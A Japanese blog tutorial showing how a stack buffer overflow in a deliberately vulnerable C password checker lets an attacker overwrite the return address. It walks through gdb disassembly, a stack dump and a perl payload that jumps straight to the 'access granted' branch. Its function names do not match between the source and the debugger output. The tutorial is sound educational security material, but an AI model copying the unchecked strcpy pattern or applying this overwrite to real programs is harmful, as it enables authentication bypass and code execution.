スタックオーバーフローを利用した戻りアドレスの書き換え
スタックオーバーフローとは?
スタックオーバーフローについての説明は過去の記事を参考にしてください。
jazzycat.hatenablog.com
今回はスタックオーバーフローを用いて戻りアドレスを書き換え、自由なアドレスにアクセスしてみます。
単純な書き換え例
戻りアドレスの書き換えとはどんなものなのか、実際に書き換えてみます。次のプログラムを見てください。
#include <stdio.h> #include <stdlib.h> #include <string.h> int check_password(char *password) { int pass_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "neko") == 0) pass_flag = 1; if(strcmp(password_buffer, "gorogoro") == 0) pass_flag = 1; return 0; } int main(int argc, char *argv[]) { if(argc < 2) { printf("使用方法: %s <パスワード>\n", argv[0]); exit(0); } if(check_password(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); //この部分に戻りアドレスを設定する printf(" アクセスを許可します。\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nアクセスを拒否しました。\n"); } }
上のコードはcheck_password関数の返り値が0で固定されているので、変数の値をスタックオーバーフローによって書き換えても意味がありません。そこで、check_password関数の戻りアドレスを書き換えてアクセスを許可させてみます。
上のコードのコメントアウトしている部分のアドレスを調べ、check_password()関数の戻りアドレスをそのアドレスで書き換えることで、if文の条件分岐を無視してそのままアクセスを許可させることができます。まずは、コメントアウトしている部分の戻りアドレスを調べてみます。
goroneko@NEKO:~/$ gdb -q a.out (gdb) disass main Dump of assembler code for function main: 0x08048476 <main+0>: push %ebp 0x08048477 <main+1>: mov %esp,%ebp 0x08048479 <main+3>: sub $0x8,%esp 0x0804847c <main+6>: and $0xfffffff0,%esp 0x0804847f <main+9>: mov $0x0,%eax 0x08048484 <main+14>: sub %eax,%esp 0x08048486 <main+16>: cmpl $0x1,0x8(%ebp) 0x0804848a <main+20>: jg 0x80484ad <main+55> 0x0804848c <main+22>: mov 0xc(%ebp),%eax 0x0804848f <main+25>: mov (%eax),%eax 0x08048491 <main+27>: mov %eax,0x4(%esp) 0x08048495 <main+31>: movl $0x80485e5,(%esp) 0x0804849c <main+38>: call 0x804831c <printf@plt> 0x080484a1 <main+43>: movl $0x0,(%esp) 0x080484a8 <main+50>: call 0x804833c <exit@plt> 0x080484ad <main+55>: mov 0xc(%ebp),%eax 0x080484b0 <main+58>: add $0x4,%eax 0x080484b3 <main+61>: mov (%eax),%eax 0x080484b5 <main+63>: mov %eax,(%esp) 0x080484b8 <main+66>: call 0x8048414 <check_authentication> 0x080484bd <main+71>: test %eax,%eax 0x080484bf <main+73>: je 0x80484e7 <main+113> ---Type <return> to continue, or q <return> to quit--- 0x080484c1 <main+75>: movl $0x80485fb,(%esp) 0x080484c8 <main+82>: call 0x804831c <printf@plt> 0x080484cd <main+87>: movl $0x8048619,(%esp) 0x080484d4 <main+94>: call 0x804831c <printf@plt> 0x080484d9 <main+99>: movl $0x8048630,(%esp) 0x080484e0 <main+106>: call 0x804831c <printf@plt> 0x080484e5 <main+111>: jmp 0x80484f3 <main+125> 0x080484e7 <main+113>: movl $0x804864d,(%esp) 0x080484ee <main+120>: call 0x804831c <printf@plt> 0x080484f3 <main+125>: leave 0x080484f4 <main+126>: ret End of assembler dump.
disassコマンドでメイン関数のアセンブリコードを表示しました。では、どこが探している部分なのでしょうか。この程度の長さのコードならすべてを追っていくこともできますが、だいたいのあたりを付けて探したほうが効率がよさそうです。探したい場所は、if文の次の命令です。そのため、ジャンプ命令の次の命令であると考えられます。また、探したい部分はprintf関数を呼び出しているので、call命令が近くにあると考えられます。よって、探したい部分は、ジャンプ命令の近くにcall命令がある部分であると考えられます。main + 75の部分を見てください。その条件が満たされています。また、近くに何回もcall命令があるので、何回も関数を呼び出していると考えられ、探したい部分は何回もprintf関数を呼び出しているので、この部分で間違いなさそうです。
以上のことから、上書きする戻りアドレスは0x080484c1とわかります。
では、この戻りアドレスをどこに書き込めばよいのでしょうか。適当なものをコマンドライン引数に与えてプログラムを実行し、スタック上のどこに戻りアドレスが書き込まれているか調べてみます。desassコマンドで表示したアセンブリコードから、戻りアドレスは0x080484bdであることがわかります(check_password関数を呼び出すcall命令がmain + 66の部分のため)。コマンドライン引数にA(ASCIIコードでは0x41)を4つ与えたときのcheck_password関数のスタックフレームの様子を見てみます。
(gdb) r AAAA Starting program: /a.out AAAA Breakpoint 1, check_authentication (password=0xbffff9e6 "AAAA") at auth_overflow.c:16 16 return 0; (gdb) x/32xw $esp 0xbffff7c0: 0xbffff7d0 0x080485dc 0xbffff7d8 0x080482d9 0xbffff7d0: 0x41414141 0xb7fd6f00 0xbffff808 0x08048529 0xbffff7e0: 0xb7fd6ff4 0xbffff8a0 0xbffff808 0x00000000 0xbffff7f0: 0xb7ff47b0 0x08048510 0xbffff808 0x080484bd 0xbffff800: 0xbffff9e6 0x08048510 0xbffff868 0xb7eafebc 0xbffff810: 0x00000002 0xbffff894 0xbffff8a0 0xb8001898 0xbffff820: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff830: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff868
戻りアドレスの0x080484bdがメモリのアドレス0xbffff7fcに書き込まれています。また、コマンドライン引数で指定したAAAAはメモリのアドレス0xbffff7d0に書き込まれています。この差は44なので、password_bufferの先頭から44バイト先に戻りアドレスが書き込まれていることがわかります。アドレスは4バイトなので、12回指定したいアドレスを書き込めばそのアドレスがcheck_password関数の戻りアドレスを上書きし、そのアドレスにある命令を実行させることができます。図にすると以下のようになります。
実行した結果は以下のとおりです。
(gdb) r $(perl -e 'print "\xc1\x84\x04\x08" x 12;') -=-=-=-=-=-=-=-=-=-=-=-=-=- アクセスを許可します。 -=-=-=-=-=-=-=-=-=-=-=-=-=- Segmentation fault (コアダンプ)
このように戻りアドレスを書き換えることで、通常分岐しないはずの部分に分岐して実行できるようになります。